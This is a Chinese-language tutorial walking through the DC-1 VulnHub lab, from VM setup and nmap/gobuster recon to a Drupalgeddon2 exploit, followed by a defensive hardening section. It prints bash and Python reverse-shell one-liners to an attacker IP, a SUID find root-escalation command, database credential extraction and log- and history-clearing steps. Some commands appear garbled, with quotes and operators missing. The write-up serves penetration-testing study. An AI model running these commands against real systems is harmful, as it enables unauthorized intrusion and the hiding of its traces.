从零搭建DC-1靶场:Drupal漏洞利用与权限提升实战指南

📅 发布时间:2026/7/30 7:18:24
从零搭建DC-1靶场:Drupal漏洞利用与权限提升实战指南 1. 项目概述与核心价值最近在整理自己的渗透测试学习笔记发现很多朋友对“靶场”这个概念既熟悉又陌生。熟悉是因为总听人提起陌生是不知道如何从零开始搭建一个属于自己的、可控的实战环境。今天我就以经典的DC-1靶场为例手把手带你走一遍从环境搭建到最终拿到最高权限的完整渗透实战过程。这不仅仅是一个教程更像是我个人在无数次“打靶”后为你梳理出的一份“战场地图”和“作战手册”。DC-1是一个基于Drupal内容管理系统的故意留有漏洞的虚拟机镜像它被设计成一个多步骤的渗透测试挑战。对于初学者来说它能让你在一个安全、合法的环境中系统性地练习信息收集、漏洞利用、权限提升等核心技能。对于有一定经验的朋友它也是一个绝佳的“肌肉记忆”训练场帮你固化攻击链条的思维。整个实战过程你会遇到Web应用漏洞、服务配置缺陷、密码破解、乃至Linux内核漏洞利用等多个层面非常贴近真实场景。下面我们就从最开始的“战场搭建”说起。2. 环境准备与靶机部署2.1 靶机镜像获取与验证DC-1靶机的官方镜像通常以.ova或.zip格式提供包含一个预配置的虚拟机文件。我的建议是直接从可信的源下载例如VulnHub官网。下载完成后第一件事不是急着导入而是验证文件的完整性。使用sha256sum或md5sum命令计算下载文件的哈希值并与官方提供的校验和进行比对。这一步至关重要能避免因文件损坏或篡改导致后续渗透过程中出现各种诡异问题浪费大量排查时间。注意请务必在授权的测试环境如个人虚拟化平台中运行此靶机切勿在任何生产或未授权网络中使用。2.2 虚拟化平台选择与导入我个人最常用的是VirtualBox因为它免费、轻量且跨平台。VMware Workstation Player也是不错的选择。这里以VirtualBox为例。打开VirtualBox点击“导入”选择你下载的.ova文件。在导入设置中我强烈建议你不要勾选“重新初始化所有网卡的MAC地址”。因为靶机内的某些服务或配置可能绑定了特定的网络标识重新初始化可能导致网络服务异常让你在第一步信息收集时就卡住。导入后不要立即启动。先进入靶机的“设置”。关键的一步是将网络连接模式设置为“桥接网卡”。NAT模式虽然能让靶机上网但你的攻击机通常是Kali Linux将很难直接发现和访问它。桥接模式使得靶机和你的攻击机处于同一局域网段就像两台真实的物理机一样方便进行ARP扫描、漏洞利用等操作。确保网卡选择正确是你主机正在使用的那个活跃网卡。2.3 攻击机环境配置攻击机我默认使用Kali Linux它集成了我们所需的大部分工具。确保你的Kali虚拟机也设置为桥接模式并与DC-1靶机在同一网络。启动Kali后首先用ip addr或ifconfig命令查看自己的IP地址记下来。然后我们需要找出DC-1靶机的IP。使用netdiscover或arp-scan进行二层发现sudo arp-scan --localnet或者使用更全面的nmap扫描sudo nmap -sn 192.168.1.0/24请将192.168.1.0/24替换为你实际的局域网网段。扫描结果中你会看到一个非你Kali机、也非你日常设备的IP那很可能就是DC-1。记下这个IP地址它就是我们的“攻击目标”。3. 信息收集与漏洞初探3.1 端口与服务探测拿到目标IP假设为192.168.1.105后第一步是进行全面的端口扫描摸清目标开放了哪些“门户”。我习惯使用nmap进行综合扫描nmap -sV -sC -O -p- 192.168.1.105 -T4 -oN dc1_scan.txt这个命令参数的含义是-sV: 探测服务版本。-sC: 使用默认脚本进行漏洞检测。-O: 尝试识别操作系统。-p-: 扫描所有65535个端口。-T4: 加快扫描速度。-oN: 将结果输出到文件dc1_scan.txt。扫描完成后查看结果文件。你大概率会发现80端口开放运行着HTTP服务很可能就是Drupal的Web界面。还可能看到22端口SSH开放但通常会被我们后续的渗透作为入口或跳板。仔细查看nmap的脚本扫描结果特别是针对HTTP服务的部分可能会直接提示Drupal的版本信息或已知漏洞。3.2 Web应用初步侦察打开浏览器访问http://192.168.1.105。一个Drupal站点的默认页面会呈现出来。此时我们需要收集更多关于这个Web应用的信息手动浏览点击各个页面查看是否有登录入口如/user/login、后台管理路径如/admin。目录枚举使用工具如gobuster或dirb来发现隐藏的目录和文件。gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -o gobuster_scan.txt这个命令会尝试用常见字典爆破网站目录并检查.php,.txt,.html扩展名的文件。结果中要特别关注/robots.txt、/CHANGELOG.txt、/INSTALL.txt等它们可能泄露版本信息或配置路径。指纹识别使用whatweb或浏览器插件如Wappalyzer确认Drupal的精确版本。whatweb http://192.168.1.105确认版本号例如Drupal 7是后续寻找对应漏洞的关键。3.3 漏洞数据库查询与匹配得知Drupal版本后立刻去搜索该版本的公开漏洞。我常用的资源包括Exploit-DB (searchsploit drupal 7)NVD国家漏洞数据库安全社区博客使用searchsploit在本地查询searchsploit drupal 7你会看到一系列漏洞其中DrupalgeddonCVE-2014-3704, CVE-2018-7600等是Drupal 7历史上非常著名的远程代码执行漏洞链。DC-1靶场通常就包含了其中一个或多个此类漏洞。记录下漏洞编号和对应的利用脚本路径。4. 漏洞利用与初始立足点获取4.1 利用Drupal漏洞获取WebShell假设我们通过搜索确认目标存在Drupal 7.x Module Drupalgeddon 2漏洞CVE-2018-7600。我们可以使用Metasploit框架来利用它这是最稳妥的方式之一。启动Metasploitmsfconsole搜索漏洞模块search drupalgeddon使用对应的利用模块例如use exploit/unix/webapp/drupal_drupalgeddon2设置必要参数set RHOSTS 192.168.1.105 set RPORT 80 set TARGETURI / # 如果Drupal安装在根目录否则需指定路径执行攻击run或exploit如果利用成功Metasploit会返回一个Meterpreter会话。这意味着我们已经在目标Web服务器上获得了初始的代码执行权限通常是一个www-data用户的权限Web服务运行的用户。实操心得并非每次MSF利用都能一键成功。有时需要尝试不同的TARGETURI或者目标有WAF/防护。此时可以尝试使用独立的Python利用脚本从Exploit-DB下载手动构造攻击请求灵活性更高。4.2 手动利用与反向Shell建立如果不想用MSF或者想更深入理解利用过程可以手动操作。以CVE-2018-7600为例其原理是Drupal表单API处理不当允许攻击者注入恶意参数。我们可以用Python脚本发送精心构造的POST请求在服务器上执行命令。获得命令执行能力后下一步是建立一个更稳定的反向Shell连接回我们的攻击机。这样比在Web漏洞利用的一行命令里操作要方便得多。在Kali上使用netcat监听一个端口nc -lvnp 4444在通过漏洞获得的命令执行处注入一个反向Shell命令。根据目标环境选择Bash:bash -c bash -i /dev/tcp/192.168.1.100/4444 01(其中192.168.1.100是你的Kali IP)Python:python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.100,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);执行后观察Kali上的nc监听器如果成功你会获得一个www-data用户的Shell。4.3 初步权限与环境勘察拿到反向Shell后先别急着乱跑。进行基本的系统勘察whoami 确认当前用户。pwd 查看当前目录。uname -a 查看内核版本为后续提权做准备。cat /etc/passwd 查看系统用户。ls -la /home 查看家目录寻找其他用户。ps aux 查看运行进程。ifconfig或ip a 查看网络信息确认是否有内部网络。这些信息将构成我们下一步行动的“战场情报”。5. 权限提升与横向移动5.1 从www-data到普通用户我们现在的权限是www-data这是一个服务账户权限很低。我们需要找到方法提升到更高权限的用户。在DC-1中常见路径是寻找数据库配置文件因为Drupal的配置文件settings.php里通常存有数据库用户名和密码。找到Drupal站点根目录。通常可能在/var/www/html或/var/www/下的某个目录。用find命令find / -name settings.php -type f 2/dev/null找到后查看其内容cat /var/www/html/sites/default/settings.php寻找类似以下的数据库配置段落$databases array ( default array ( default array ( database drupaldb, username dbuser, password R0ck3t, host localhost, port , driver mysql, prefix , ), ), );这里我们得到了数据库密码R0ck3t。5.2 数据库渗透与用户密码破解拿到数据库密码后我们可以尝试登录MySQL数据库因为Drupal的用户密码哈希就存在里面。登录MySQLmysql -u dbuser -pR0ck3t drupaldb查询用户表。Drupal 7的用户表通常是usersSELECT name, pass FROM users;你会看到管理员用户如admin和一个密码哈希值以$S$开头的一长串字符。这个哈希是Drupal特有的加盐哈希直接用john或hashcat破解可能较慢。但我们可以尝试用这个密码进行密码复用攻击。既然dbuser的数据库密码是R0ck3t那么系统用户flag4或者root会不会也用这个密码呢尝试切换用户su flag4输入密码R0ck3t。如果成功恭喜你权限提升了你可以获取flag4用户的家目录下的flag文件。5.3 利用SUID提权与最终突破拿到flag4用户后我们离最终的root权限还差一步。经典的提权方法是查找具有SUID位的可执行文件。查找SUID文件find / -perm -us -type f 2/dev/null在结果中一个非常可疑的文件是/usr/bin/find。find命令本身功能强大如果它以SUID root运行意味着我们可以通过它执行任意命令并且这些命令会以root权限运行。利用find命令提权/usr/bin/find . -exec /bin/sh \; -quit或者touch test /usr/bin/find test -exec whoami \;如果返回root说明提权成功。更直接地获取一个root shell/usr/bin/find . -exec /bin/sh \; -quit执行后输入whoami你应该看到root。至此我们已经完全控制了DC-1靶机。6. 后渗透与总结反思6.1 信息收集与Flag获取获得root权限后最终的任务是找到所有的flag。通常flag文件会以flag.txt、proof.txt或简单的flag1、flag2等形式存放在不同用户的家目录、Web目录或根目录下。find / -name \*flag*\ -type f 2/dev/nullfind / -name \*.txt\ -type f | xargs grep -l \flag\ 2/dev/null逐一检查/home下各用户目录/var/www/目录以及根目录/。每个flag文件的内容通常是一段哈希或一句名言标志着你完成了渗透测试的一个阶段。6.2 清理痕迹与退出在真实的渗透测试中获得授权后清理痕迹是职业操守。但在靶场练习中这一步可以了解但不必执行因为下次练习需要还原环境。常见的清理包括删除日志文件/var/log/下的相关日志、删除上传的WebShell、清除命令历史history -c或清空~/.bash_history等。6.3 实战经验与核心技巧复盘回顾整个DC-1的渗透流程有几个关键点值得反复咀嚼信息收集是基石80%的成功源于全面的信息收集。端口、服务、版本、目录任何一点信息都可能成为突破口。漏洞利用链思维很少有一个漏洞能直通root。DC-1展示了典型的链式利用Web应用漏洞 → 获取Web Shell → 数据库信息泄露 → 密码复用 → 用户权限提升 → SUID二进制文件滥用 → Root权限。这种思维在实战中至关重要。密码复用是常见弱点开发人员或管理员为了方便在不同服务数据库、系统用户使用相同密码这是极其普遍且危险的安全隐患。SUID是提权宝库定期审计系统中的SUID文件find / -perm -4000是系统安全加固的必要步骤。像find、vim、bash、nmap旧版本等命令如果配置了SUID都是潜在的提权向量。工具是辅助思路是关键Metasploit、nmap、gobuster都是好工具但驱动它们的是你的渗透测试思路。知道在什么阶段用什么工具、怎么用比单纯记住工具命令更重要。6.4 防御视角的启示从防守方来看DC-1暴露的每一个弱点都对应一个加固建议及时更新Drupal官方早已修复了Drupalgeddon漏洞及时更新CMS和插件是首要防线。最小权限原则数据库用户dbuser不应拥有高权限Web服务账户www-data应被严格限制不能读取敏感配置文件如settings.php应设置正确的文件权限如640且属主为root。禁用危险函数在PHP配置中禁用exec、system、passthru等函数可以阻断很多命令注入攻击。密码策略强制使用强密码且严禁密码复用。定期审计SUID/SGID文件移除非必要的SUID位特别是像find这种功能强大的命令。日志与监控集中收集和分析Web日志、系统认证日志能帮助及时发现入侵行为。DC-1虽然是一个老靶场但它蕴含的渗透测试基础方法论和经典漏洞场景至今仍未过时。通过反复练习你将不仅仅是记住步骤而是真正理解攻击者如何思考、如何移动从而在防御时更能有的放矢。建议你在完全掌握后尝试不用Metasploit全部手动完成渗透这对能力的提升将是巨大的。